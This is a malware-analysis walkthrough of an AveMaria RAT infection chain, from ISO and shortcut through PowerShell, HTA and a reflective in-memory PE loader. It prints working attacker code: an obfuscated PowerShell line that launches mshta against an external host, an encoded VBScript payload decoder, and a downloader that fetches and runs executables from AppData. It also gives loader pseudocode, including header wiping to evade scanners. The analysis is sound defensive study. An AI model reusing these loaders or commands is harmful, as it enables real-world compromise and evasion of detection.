Author: Valli-Nayagam Chokkalingam

Contents
Introduction
Not every infection chain worth studying is new. Some of the most instructive ones are simply well-built — stable, repeatable, and grounded in real attacker tradecraft. The campaign analyzed here comes from a slightly older AveMaria distribution wave documented by Zscaler ThreatLabz, where attackers relied on a staged delivery path using nothing more than Windows-native components to land a full remote-access foothold. No exploits, no macros, just a clean chain of execution from user interaction to C2.
I chose this sample because it sits in the ideal learning zone for beginners: simple enough to reproduce in a lab, yet realistic enough to demonstrate how commodity malware actually arrives on endpoints. Each stage builds on the previous one — container, shortcut, mshta execution, staged download, in-memory unpacking — culminating in a fully functional RAT reaching out to its operator.
In this post, we follow that chain all the way through. Not just “what runs,” but how it runs, what artifacts it leaves behind, and how the final payload transitions from an opaque blob into an active remote session. By the end, the goal is to see the entire path from initial click to live C2 — the moment the intrusion stops being a file and starts being an attacker.

Figure 1. AveMaria Attack Chain.
Stage 1 — The Delivery Vessel: An ISO That Isn’t What It Seems
An ISO file is nothing more than a disk image — a byte-for-byte replica of what would normally live on a physical CD or DVD. Windows treats it accordingly. Double-click it, and the operating system quietly mounts the image as a new virtual drive, complete with its own drive letter, icon, and familiar folder view. No extraction tools, no warnings, no sense that anything unusual just happened. To the user, it looks like they’ve simply “opened” a folder that arrived via email or download.
From an analysis perspective, mounting isn’t strictly necessary. Tools like 7-Zip can open ISO images directly, allowing investigators to inspect contents without triggering any automatic execution paths or altering system state. This makes it easier to examine the payload structure safely before interacting with it in a live environment.
Attackers lean on this behavior because it strips away friction. Content inside the image bypasses several common web download protections and arrives already organized, already named, already staged. Once mounted, the files appear local and trustworthy — not something fetched from the internet moments earlier, but something that feels like removable media. It’s a subtle psychological shift that lowers suspicion before any code even executes.
In this sample, the mounted image contains what appears to be an innocuous file named Documents.lnk. Not a PDF, not a Word file — a Windows shortcut. To a casual glance, it blends in perfectly with legitimate office artifacts, often carrying a document-style icon and a believable name. But unlike a real document, a shortcut doesn’t contain content. It contains instructions — where to go, what to launch, and which arguments to pass along. That single click becomes the pivot point where a harmless-looking container transitions into an execution chain.

Figure 2. The campaign arrives as a deceptively small ISO, a container designed to look harmless while staging the real entry point inside.

Figure 3. Opening the ISO mounts it as a virtual DVD drive, disguising attacker-controlled contents as trusted local media.

Figure 4. The ISO contains a single file, documents.lnk, a malicious shortcut disguised as a legitimate document to trigger the next stage.
Stage 2 — The Trigger: Weaponized Shortcut Execution
Windows shortcut files (.lnk) are not documents at all — they are instruction containers. A shortcut simply tells Windows what to launch, where it lives, and which arguments to pass along when the user double-clicks it. This makes them ideal staging mechanisms: they look harmless, carry familiar icons, and execute instantly without raising the same suspicion as scripts or executables.
A quick right-click → Properties is often enough to reveal the illusion. The Target field exposes the real command that will run, and in this case it points not to a document viewer but to PowerShell, already a strong indicator that the file’s purpose is execution rather than opening content. Attackers commonly hide long or obfuscated commands here, sometimes padded to push the malicious portion out of immediate view.

Figure 5. Inspecting the shortcut’s properties reveals that the “document” actually launches PowerShell, exposing its true purpose as an execution trigger.
For a deeper look, the shortcut can be opened directly in a hex editor such as HxD. Despite being a binary format, .lnk files frequently contain readable strings embedded within their structure. Scanning for ASCII or Unicode text quickly surfaces the full command line — a PowerShell invocation with encoded or obfuscated parameters that will fetch or execute the next stage. Extracting that command reveals the true role of the file: not a document launcher, but a compact delivery vehicle designed to turn a single click into controlled code execution.

Figure 6. Viewing the shortcut in a hex editor exposes the embedded PowerShell command, revealing the hidden instructions executed on click.
Stage 3 — Initial Loader: PowerShell Takes Control
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-ExecutionPolicy UnRestricted$ErrorActionPreference=0;$YofWYC = $Null;$GMZglTzk = 'boytLhXGNtg.shkcpeHpK/LcY/fm~cttkxPsPmtKheBassahImetmhYYBcZQo/:iorC.Nha';sal xOXqeLV ($GMZglTzk[(-44676+44688)]+$GMZglTzk[(31996-31953)]+$GMZglTzk[(26559-26555)]);xOXqeLV uDFvHxvnl ($GMZglTzk[(-48812+48860)]+$GMZglTzk[(-57051+57068)]+$GMZglTzk[(-44482+44488)]);xOXqeLV csBsb ($GMZglTzk[(-28324+28351)]+$GMZglTzk[(-44676+44688)]+$GMZglTzk[(-7250+7255)]+$GMZglTzk[(-15622+15625)]+$GMZglTzk[(31996-31953)]);foreach($PVeYoE in @( (-8771+8776),(-65196+65199),(44578-44575),(-35487+35503), (-25222+25234),(53013-52951),(58129-58108),(-13523+13544), (-58933+58945),(-53822+53832),(60473-60470),(33846-33819), (-46252+46295),(3385-3320),(-20808+20822),(-8945+8962), (-47806+47809),(24980-24968),(-13291+13302),(28341-28326), (-36009+36010),(5565-5538),(37420-37399),(30164-30159), (46917-46906),(-9230+9235),(175-172),(12473-12430))) { $YofWYC += $GMZglTzk[$PVeYoE]};uDFvHxvnl ("csBsb $YofWYC");
Figure 7. Obfuscated PowerShell embedded in the shortcut reconstructs a hidden URL at runtime and fetches the next stage.
The shortcut never tries to open a document at all — it simply fires off C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe with permissive flags (-ExecutionPolicy UnRestricted and $ErrorActionPreference = 0), handing control from Explorer straight to PowerShell. The script then sets up two variables: $GMZglTzk, a long, seemingly random string that functions as a character reservoir, and $YofWYC, an empty buffer that will hold the final output. Rather than invoking sensitive capabilities directly, it manufactures them on the fly. An alias named xOXqeLV resolves to Set-Alias, which is used to create uDFvHxvnl mapped to IEX (Invoke-Expression) and csBsb mapped to mshta. A loop walks through a list of computed indices, pulling one character at a time from $GMZglTzk to assemble a concealed address — https[:]//sgtmarkets[.]com/h.hta — that never appears in readable form until the script runs. The final line executes IEX (“mshta “), causing the legitimate mshta.exe binary to retrieve and execute the remote HTA content. Nothing is dropped to disk at this point; PowerShell’s job is simply to assemble the execution chain in memory and pass control to the next stage.

Figure 8. With debug printing enabled, the script reveals its runtime behavior — reconstructing mshta and assembling the hidden URL character-by-character before initiating remote execution.

Figure 9. Sysmon confirms PowerShell spawning mshta.exe with the reconstructed URL, validating the transition from in-memory loader to remote HTA execution.
Stage 4 — The Pivot: HTA as a Script Host
The chain now pivots into an HTA (HTML Application) — a file type that looks like a web page but executes as a local Windows application under mshta.exe. Unlike regular web content, HTAs execute outside the browser sandbox as local applications under mshta.exe, allowing VBScript/JScript to interact with the filesystem, registry, and COM interfaces using the current user’s privileges — a combination that makes them a dependable living-off-the-land launch mechanism. In this sample, nearly all of the script serves as intentional clutter: empty routines and arbitrary names surrounding a single decoding function that reconstructs the true payload from a large numeric array (shyNkdc). Each value is shifted by a fixed offset (59108) and converted via Chr(), assembling the final PowerShell command entirely at runtime. For analysis, the VBScript portion was extracted from the HTA (discarding the HTML wrapper and inert code) and converted into a minimal standalone .vbs script containing only the decoding routine and array. To safely reveal the payload without executing it, the VBScript logic extracted from the HTA was modified to show the decoded command in a message box, while the full decoded command is written to an output.txt file in the same directory. What initially appears as an impenetrable wall of numbers collapses into a simple, deterministic transformation — static encoded data in, clear executable command out — once the single functional component is isolated.

Figure 10. Malicious HTA file containing embedded obfuscated VBScript that decodes and executes a hidden PowerShell command via mshta.exe.
Option ExplicitFunction baxlA(ByVal debHiYVRjoZPX) baxlA = VarType(debHiYVRjoZPX)End FunctionFunction sbtfmbzBZiKj(ByVal shyNkdc) Dim debHiYVRjoZPX Dim CadHFhmcICIK Dim JRpOiBwoWm Dim yDwRYqrX yDwRYqrX = 59108 debHiYVRjoZPX = baxlA(shyNkdc) If debHiYVRjoZPX = 8204 Then For Each CadHFhmcICIK In shyNkdc JRpOiBwoWm = JRpOiBwoWm & Chr(CadHFhmcICIK - yDwRYqrX) Next End If sbtfmbzBZiKj = JRpOiBwoWmEnd FunctionSub xzyqy() Dim shyNkdc Dim QYARDSPMooGQ shyNkdc = Array(59220,59219,59227,59209,59222,59223,59212,59209,59216,59216,59154,59209,59228,59209,59140,59153,59177,59228,59209,59207,59225,59224,59213,59219,59218,59188,59219,59216,59213,59207,59229,59140,59193,59218,59190,59209,59223,59224,59222,59213,59207,59224,59209,59208,59140,59210,59225,59218,59207,59224,59213,59219,59218,59140,59226,59208,59198,59184,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59152,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59149,59231,59199,59181,59187,59154,59178,59213,59216,59209,59201,59166,59166,59195,59222,59213,59224,59209,59173,59216,59216,59174,59229,59224,59209,59223,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59152,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59149,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59179,59207,59193,59176,59181,59227,59183,59211,59194,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59149,59231,59213,59210,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59154,59177,59218,59208,59223,59195,59213,59224,59212,59148,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59160,59152,59162,59164,59164,59157,59158,59152,59162,59164,59164,59157,59158,59149,59149,59149,59140,59153,59209,59221,59140,59144,59192,59222,59225,59209,59149,59231,59222,59225,59218,59208,59216,59216,59159,59158,59154,59209,59228,59209,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59140,59233,59209,59216,59223,59209,59213,59210,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59154,59177,59218,59208,59223,59195,59213,59224,59212,59148,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59161,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59159,59149,59149,59149,59140,59153,59209,59221,59140,59144,59192,59222,59225,59209,59149,59231,59220,59219,59227,59209,59222,59223,59212,59209,59216,59216,59154,59209,59228,59209,59140,59153,59177,59228,59209,59207,59225,59224,59213,59219,59218,59188,59219,59216,59213,59207,59229,59140,59225,59218,59222,59209,59223,59224,59222,59213,59207,59224,59209,59208,59140,59153,59178,59213,59216,59209,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59233,59209,59216,59223,59209,59231,59191,59224,59205,59222,59224,59153,59188,59222,59219,59207,59209,59223,59223,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59233,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59148,59144,59215,59174,59206,59211,59191,59190,59219,59220,59228,59190,59219,59176,59179,59196,59186,59179,59182,59179,59228,59181,59149,59231,59144,59212,59216,59229,59215,59193,59223,59178,59220,59206,59198,59181,59227,59176,59211,59226,59224,59186,59140,59169,59140,59186,59209,59227,59153,59187,59206,59214,59209,59207,59224,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59164,59158,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59163,59161,59156,59152,59162,59164,59163,59165,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59156,59158,59152,59162,59164,59163,59163,59157,59152,59162,59164,59164,59157,59158,59152,59162,59164,59164,59156,59165,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59157,59160,59152,59162,59164,59164,59158,59156,59149,59149,59167,59199,59186,59209,59224,59154,59191,59209,59222,59226,59213,59207,59209,59188,59219,59213,59218,59224,59185,59205,59218,59205,59211,59209,59222,59201,59166,59166,59191,59209,59207,59225,59222,59213,59224,59229,59188,59222,59219,59224,59219,59207,59219,59216,59140,59169,59140,59199,59186,59209,59224,59154,59191,59209,59207,59225,59222,59213,59224,59229,59188,59222,59219,59224,59219,59207,59219,59216,59192,59229,59220,59209,59201,59166,59166,59192,59184,59191,59157,59158,59167,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59140,59169,59140,59144,59212,59216,59229,59215,59193,59223,59178,59220,59206,59198,59181,59227,59176,59211,59226,59224,59186,59154,59176,59219,59227,59218,59216,59219,59205,59208,59176,59205,59224,59205,59148,59144,59215,59174,59206,59211,59191,59190,59219,59220,59228,59190,59219,59176,59179,59196,59186,59179,59182,59179,59228,59181,59149,59167,59222,59209,59224,59225,59222,59218,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59148,59144,59192,59180,59179,59208,59207,59209,59149,59231,59144,59186,59194,59226,59207,59206,59197,59176,59186,59185,59197,59186,59169,59162,59164,59163,59156,59160,59167,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59169,59144,59186,59225,59216,59216,59167,59210,59219,59222,59209,59205,59207,59212,59148,59144,59182,59223,59230,59205,59206,59193,59223,59221,59230,59140,59213,59218,59140,59144,59192,59180,59179,59208,59207,59209,59149,59231,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59151,59169,59199,59207,59212,59205,59222,59201,59148,59144,59182,59223,59230,59205,59206,59193,59223,59221,59230,59153,59144,59186,59194,59226,59207,59206,59197,59176,59186,59185,59197,59186,59149,59233,59167,59222,59209,59224,59225,59222,59218,59140,59144,59173,59229,59176,59222,59184,59198,59184,59229,59187,59196,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59222,59209,59178,59180,59216,59188,59198,59189,59209,59148,59149,59231,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59169,59140,59144,59209,59218,59226,59166,59173,59220,59220,59176,59205,59224,59205,59140,59151,59140,59147,59200,59147,59167,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59140,59169,59140,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59151,59140,59147,59176,59154,59220,59208,59210,59147,59167,59181,59210,59148,59192,59209,59223,59224,59153,59188,59205,59224,59212,59140,59153,59188,59205,59224,59212,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59149,59231,59181,59218,59226,59219,59215,59209,59153,59181,59224,59209,59217,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59167,59233,59177,59216,59223,59209,59231,59140,59144,59194,59198,59186,59229,59194,59225,59221,59181,59217,59179,59195,59198,59220,59220,59226,59140,59169,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59164,59156,59164,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59162,59158,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59165,59152,59162,59164,59164,59156,59163,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59156,59157,59152,59162,59164,59164,59157,59164,59152,59162,59164,59164,59157,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59159,59152,59162,59164,59164,59157,59161,59152,59162,59164,59164,59157,59159,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59163,59158,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59156,59160,59152,59162,59164,59164,59156,59162,59149,59149,59167,59226,59208,59198,59184,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59140,59144,59194,59198,59186,59229,59194,59225,59221,59181,59217,59179,59195,59198,59220,59220,59226,59167,59181,59218,59226,59219,59215,59209,59153,59181,59224,59209,59217,59140,59144,59215,59213,59175,59220,59215,59220,59181,59224,59175,59192,59209,59196,59209,59208,59174,59182,59195,59180,59205,59184,59223,59167,59233,59167,59144,59228,59183,59211,59196,59140,59169,59140,59144,59190,59196,59185,59226,59196,59221,59210,59228,59220,59195,59181,59212,59226,59210,59186,59140,59151,59140,59147,59217,59224,59160,59154,59209,59228,59209,59147,59167,59140,59213,59210,59140,59148,59192,59209,59223,59224,59153,59188,59205,59224,59212,59140,59153,59188,59205,59224,59212,59140,59144,59228,59183,59211,59196,59149,59231,59179,59207,59193,59176,59181,59227,59183,59211,59194,59140,59144,59228,59183,59211,59196,59167,59233,59177,59216,59223,59209,59231,59140,59144,59197,59220,59179,59179,59205,59205,59180,59174,59226,59184,59229,59198,59229,59140,59169,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59140,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59164,59156,59164,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59162,59158,59152,59162,59164,59163,59161,59157,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59165,59152,59162,59164,59164,59156,59163,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59156,59157,59152,59162,59164,59164,59157,59164,59152,59162,59164,59164,59157,59157,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59156,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59159,59152,59162,59164,59164,59157,59161,59152,59162,59164,59164,59157,59159,59152,59162,59164,59163,59161,59157,59152,59162,59164,59164,59157,59159,59152,59162,59164,59164,59158,59156,59152,59162,59164,59163,59161,59162,59152,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59161,59152,59162,59164,59164,59158,59160,59152,59162,59164,59164,59156,59161,59149,59149,59167,59226,59208,59198,59184,59140,59144,59228,59183,59211,59196,59140,59144,59197,59220,59179,59179,59205,59205,59180,59174,59226,59184,59229,59198,59229,59167,59179,59207,59193,59176,59181,59227,59183,59211,59194,59140,59144,59228,59183,59211,59196,59167,59233,59167,59167,59167,59167,59233,59222,59209,59178,59180,59216,59188,59198,59189,59209,59167) QYARDSPMooGQ = sbtfmbzBZiKj(shyNkdc) MsgBox QYARDSPMooGQ, 64, "Decoded Output (QYARDSPMooGQ)" Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.CreateTextFile("C:\decoded_output.txt", True) f.WriteLine QYARDSPMooGQ f.Close WScript.Echo QYARDSPMooGQEnd Subxzyqy
Figure 11. VBScript decoding logic extracted from the HTA that subtracts a fixed offset (59108) from an integer array to reconstruct and reveal the hidden PowerShell command.

Figure 12. Message box displaying the decoded command output produced by the HTA’s embedded VBScript decoder logic.

Figure 13. Sysmon confirming the decoded HTA payload in action: mshta.exe launches the HTA, which spawns PowerShell executing the reconstructed, heavily obfuscated command responsible for staging and running the next stage.
Stage 5 — The Delivery: PowerShell Retrieves the Payload
Stage 5 is where the “mystery blob” finally turns into something real. The HTA doesn’t drop an EXE directly — it hands off to a PowerShell routine that behaves like a tiny installer: resolve a URL, pull raw bytes over HTTPS, write them to disk, then execute based on file type.
At the heart of this stage are four helpers:
- Decode-NumberArrayToString: turns numeric arrays into strings by subtracting a fixed offset (68704). This is how the script hides obvious indicators like class names, extensions, and URLs until runtime.
- Download-BytesFromUrl: instantiates a decoded .NET WebClient object, forces TLS 1.2, and downloads the payload as a byte array (DownloadData()).
- Write-BytesToFile: persists those bytes using IO.File::WriteAllBytes().
- Invoke-ByFileType: a crude dispatcher that checks the file extension (also decoded at runtime) and chooses how to run it:
- .dll →
rundll32.exe - .ps1 →
powershell.exe -File - anything else →
Start-Process
- .dll →
The actual delivery logic is in Stage-And-Execute-Payload, and it’s intentionally “quietly redundant.” It uses AppData as a staging directory and tries to keep re-downloading to a minimum:
- It targets AppData\D.pdf. If it already exists, it simply opens it (Invoke-Item). If not, it downloads bytes from a decoded URL, writes the file, then opens it.
- It then targets AppData\mt4.exe. Same deal: if present, execute; if missing, download from a second decoded URL, write it, and run it via the type-based launcher.
That structure matters. It’s not just “download and run” — it’s “download once, reuse forever.” The persistence isn’t scheduled-task based here; it’s behavioral: the script is built to resume cleanly and keep moving forward even if it’s executed multiple times.
What looks like messy obfuscation (arrays everywhere, meaningless variable names) is mostly misdirection. Functionally, Stage 5 is a straightforward pipeline:
decode → download → write → execute, twice — first for a decoy-looking “PDF,” then for the real executable (mt4.exe).
function Write-BytesToFile($filePath, $bytes){ [IO.File]::WriteAllBytes($filePath, $bytes)}function Execute-FileBasedOnType($filePath){ if ($filePath.EndsWith((Decode-NumberArrayToString @(68750,68804,68812,68812))) -eq $True) { rundll32.exe $filePath } elseif ($filePath.EndsWith((Decode-NumberArrayToString @(68750,68816,68819,68753))) -eq $True) { powershell.exe -ExecutionPolicy Unrestricted -File $filePath } else { Start-Process $filePath }}function Download-BytesFromUrl($url){ $webClient = New-Object (Decode-NumberArrayToString @(68782,68805,68820,68750,68791,68805,68802,68771,68812,68809,68805,68814,68820)) [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12 $payloadBytes = $webClient.DownloadData($url) return $payloadBytes}function Decode-NumberArrayToString($encodedNumbers){ $offset = 68704 $decodedString = $Null foreach ($num in $encodedNumbers) { $decodedString += [char]($num - $offset) } return $decodedString}function Stage-And-Execute-Payload(){ $appDataPath = $env:AppData + '\' $pdfPayloadPath = $appDataPath + 'D.pdf' if (Test-Path -Path $pdfPayloadPath) { Invoke-Item $pdfPayloadPath } else { $pdfPayloadBytes = Download-BytesFromUrl( Decode-NumberArrayToString @(68808,68820,68820,68816,68819,68762,68751,68751,68819,68807,68820,68813,68801,68818,68811,68805,68820,68819,68750,68803,68815,68813,68751,68772,68750,68816,68804,68806) ) Write-BytesToFile $pdfPayloadPath $pdfPayloadBytes Invoke-Item $pdfPayloadPath } $exePayloadPath = $appDataPath + 'mt4.exe' if (Test-Path -Path $exePayloadPath) { Execute-FileBasedOnType $exePayloadPath } else { $exePayloadBytes = Download-BytesFromUrl( Decode-NumberArrayToString @(68808,68820,68820,68816,68819,68762,68751,68751,68819,68807,68820,68813,68801,68818,68811,68805,68820,68819,68750,68803,68815,68813,68751,68813,68820,68756,68750,68805,68824,68805) ) Write-BytesToFile $exePayloadPath $exePayloadBytes Execute-FileBasedOnType $exePayloadPath }}Stage-And-Execute-Payload
Figure 14. Obfuscated PowerShell delivery routine (function names & variables renamed for clarity) that decodes embedded URLs, downloads payload bytes to the AppData directory, writes them to disk, and executes the files based on their type.
Stage 6 — Final Payload: Primary Implant
Opening mt4.exe in IDA reveals a packed executable whose entry point invokes sub_401060 and sub_401070, signaling a loader stub rather than the true implant logic. The routine sub_401060 suppresses visible artifacts by hiding the console window via GetConsoleWindow and ShowWindow, while sub_401070 implements the actual unpacking stage: it allocates a large RWX region with VirtualAlloc, reconstructs an embedded payload by bitwise inversion of data from the .data section (unk_50C77C), and applies additional XOR-based decryption using a repeating key stored in v13. Memory protections are altered with VirtualProtect, and the MessageBoxA pointer is temporarily overwritten, followed by extremely heavy GUI call loops consistent with anti-analysis timing delays. Once reconstruction is complete, execution pivots into the decoded in-memory payload via the function pointer v4 (the shellcode entry), after which the process enters a sustained sleep loop — confirming that the real implant never exists on disk in unpacked form and is exposed only at runtime.

Figure 15. Program entry point showing a minimal loader stub where main() immediately transfers control to sub_401060 (console hiding) followed by sub_401070 (primary unpacking routine), indicating the absence of legitimate application logic.

Figure 16. Routine sub_401060 retrieves the process console window via GetConsoleWindow and hides it using ShowWindow(SW_HIDE), a common stealth technique to suppress visible execution.

Figure 17. Memory-resident unpacking workflow showing RWX allocation, staged blob reconstruction, XOR-based decryption, and final execution pivot into the in-memory shellcode.

Figure 18. Entry point of the decrypted shellcode showing the initial loader stub preparing registers and stack arguments before transferring execution to the next stage.

Figure 19. Decrypted payload PE located immediately after the shellcode loader in memory, exposing the embedded executable structure with visible MZ and PE headers.
Stepping deeper into the unpacked shellcode extracted from mt4.exe, the role of the stub becomes clear fairly quickly. The shellcode is not the final payload itself. Instead, it behaves as a reflective PE loader — a compact routine designed to reconstruct and execute another executable directly in memory.
Rather than dropping a file to disk and launching it in the conventional way, the loader rebuilds a complete PE image inside the process address space. In other words, the code is manually performing the same tasks normally handled by the Windows loader: parsing headers, allocating memory, mapping sections, resolving imports, applying relocations, and finally jumping into the payload’s entry point. The difference is that every step happens inside memory, leaving very little traditional footprint behind.

Figure 20. IDA pseudocode excerpt showing the shellcode which loads the decrypted payload into memory.
Resolving Required APIs
The first thing the loader does is resolve a handful of Windows APIs dynamically. Instead of relying on the import table, the code calls a helper routine. This function walks loaded modules, hashes exported function names, and returns the address of whichever function matches the supplied hash.
In practice this means the loader reconstructs its API table at runtime.
Pseudocode:
LoadLibraryPtr = resolve_by_hash(HASH_LoadLibraryA)GetProcAddressPtr = resolve_by_hash(HASH_GetProcAddress)VirtualAllocPtr = resolve_by_hash(HASH_VirtualAlloc)VirtualProtectPtr = resolve_by_hash(HASH_VirtualProtect)ZwFlushInstructionCache = resolve_by_hash(HASH_ZwFlushInstructionCache)GetNativeSystemInfo = resolve_by_hash(HASH_GetNativeSystemInfo)
Figure 21. API resolution via hashed lookups removes visible imports from the binary, requiring functionality to be reconstructed during runtime analysis.
Locating the PE Header
Once the API pointers are available, the loader begins parsing the embedded PE image.
The starting point is the familiar e_lfanew offset inside the DOS header. By adding this value to the base of the in-memory buffer, the loader lands directly at the NT header.
Conceptually it looks like this:
DOS_HEADER = (IMAGE_DOS_HEADER*)peImageBufferPE_HEADER = (IMAGE_NT_HEADERS*)(peImageBuffer + DOS_HEADER->e_lfanew)
Figure 22. The loader locates the NT header via the e_lfanew offset, gaining full access to the embedded PE structure for subsequent reconstruction.
Basic PE Validation
Before doing anything expensive, the code performs a few sanity checks.
It verifies:
- the “PE” signature
- the expected architecture (x86 in this case)
- several optional header flags
If any of these checks fail, the loader simply aborts.
if PE_HEADER->Signature != "PE" return 0if PE_HEADER->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 return 0if invalid_header_flags return 0
Figure 23. Initial header validation checks confirm the embedded buffer contains a valid PE executable before the loader proceeds with reconstruction.
Determining Image Size
Next the loader walks through the section headers to determine how large the reconstructed image will need to be.
Each section contributes a range defined by its virtual address and size. The loader tracks the highest end address across all sections.
max_end = 0for each section in PE_HEADER->Sections{ end = section.VirtualAddress + section.VirtualSize if end > max_end max_end = end}
Figure 24. The computed maximum section boundary defines the total memory footprint required for the executable once mapped into memory.
Allocating Memory for the Image
With the required size known, the loader allocates a new memory region where the reconstructed image will live.
allocated_image = VirtualAllocPtr( NULL, PE_HEADER->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
Figure 25. Memory allocation for the reconstructed image, creating an empty region large enough to hold the full executable before section mapping begins.
Copying the PE Headers
The loader begins reconstructing the executable by copying the PE header region from the original buffer into the newly allocated image.
However, the copy operation is not entirely straightforward. When the wipeHeaders flag is enabled, the loader intentionally scrubs most of the DOS header area while preserving the critical offset that points to the PE header.
for i in range(SizeOfHeaders): if wipeHeaders and i < ntHeaderOffset and (i < 0x3C or i > 0x3E): allocated_image[i] = 0 else: allocated_image[i] = original_image[i]
Figure 26. Selective header reconstruction during image mapping: the loader zeros most of the DOS header region while preserving the e_lfanew pointer (offset 0x3C) required to locate the NT headers; once the copy reaches the NT header boundary, the remaining structures — including the PE signature, file header, and section headers — are copied normally, producing a functional in-memory image while stripping many recognizable DOS-header artifacts often used by memory scanners.
Mapping the Sections
With the headers in place, the loader begins copying the actual section data. Each section is placed at its intended virtual address inside the new memory region.
for each section: destination = allocated_image + section.VirtualAddress source = original_image + section.PointerToRawData memcpy(destination, source, section.SizeOfRawData)
Figure 27. Reconstructed image layout after section mapping, where the loader has copied headers and section contents into their respective virtual addresses, producing an in-memory structure that closely mirrors how the Windows loader would normally map the executable.
Resolve Imports
The loader processes the Import Address Table (IAT).
Steps
- load required DLL
- resolve imported functions
- write addresses into IAT
for each import_descriptor: dll = LoadLibrary(import_descriptor.DLLName) for each thunk: if import by ordinal: func = resolve_ordinal(dll) else: func = GetProcAddress(dll, function_name) write func into IAT
Figure 28. Import resolution routine reconstructing the IAT by loading each required DLL and resolving imported functions by name or ordinal before writing the resulting addresses into the mapped image.
Applying Relocations
If the image cannot be loaded at its preferred base address, the loader adjusts internal addresses accordingly.
delta = allocated_image - PE_HEADER->OptionalHeader.ImageBasefor each relocation_entry: *(target_address) += delta
Figure 29. Relocation processing adjusts embedded addresses using the calculated base delta, ensuring all internal references point to the correct locations within the newly mapped image.
Setting Section Protections
The loader then assigns appropriate memory permissions to each section based on its characteristics.
